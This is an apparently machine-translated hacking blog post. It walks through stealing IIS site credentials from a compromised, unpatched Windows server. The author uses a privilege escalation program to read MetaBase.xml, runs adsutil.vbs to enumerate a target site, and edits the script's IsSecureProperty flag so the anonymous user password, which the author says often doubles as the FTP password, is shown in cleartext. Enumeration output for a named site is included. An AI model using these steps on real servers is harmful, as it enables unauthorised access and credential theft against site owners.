Read the IIS Password, and restore the IIS Password to the original

Read the IIS Password, and restore the IIS Password to the original

When I was working on a project today, I used my iis. vbs to read the iis user list and password.

Because sometimes the iis Password is the FTP Password

Many of them are listed, but the target site is not found.

Because the server is not patched, it seems that the privilege escalation program can be used.

Use the Elevation of Privilege program to view type C: \ WINDOWS \ system32 \ inetsrv \ MetaBase. xml

Finally, we found the target site.

AnonymousUserPass is a long string of characters

Here, we can use the iis automatic vbs to restore the iis Password

Execution directory cscript C: \ Inetpub \ AdminScripts \ adsutil. vbs enum w3svc/249

This 249 is the Location = "/LM/W3SVC/249" in MetaBase. xml"
 

If the server does not have adsutil. vbs, you can upload the file and modify it to the corresponding path for execution.

If the password is *, change "IsSecureProperty = True" in adsutil. vbs to "IsSecureProperty = False"

Then run the command again.

Execution result

KeyType                         : (STRING) "IIsWebServer"   ServerState                     : (INTEGER) 2   ServerComment                   : (STRING) "goingta.com"   MaxBandwidth                    : (INTEGER) 4294967295   ServerSize                      : (INTEGER) 1   ServerBindings                  : (LIST) (2 Items)   MaxConnections                  : (INTEGER) 500   AnonymousUserName               : (STRING) "goingta.com"   AnonymousUserPass               : (STRING) "xxxxxx"   DefaultDoc                      : (STRING) "index.php,default.cgi,index.asp,default.asp,index.htm"   AspEnableParentPaths            : (BOOLEAN) True   DirBrowseFlags                  : (INTEGER) 1073741854   EnableDirBrowsing               : (BOOLEAN) FalseDir   BrowseShowDate               : (BOOLEAN) TrueDir   BrowseShowTime               : (BOOLEAN) TrueDir   BrowseShowSize               : (BOOLEAN) TrueDir   BrowseShowExtension          : (BOOLEAN) TrueDir   BrowseShowLongDate           : (BOOLEAN) False   EnableDefaultDoc                : (BOOLEAN) True   LogType                         : (INTEGER) 1   LogFileDirectory                : (EXPANDSZ) "f:\wwwroots\goingta.com\logfiles"   Win32Error                      : (INTEGER) 0   AppPoolId                       : (STRING) "AppPool001001"[/W3SVC/249/ROOT]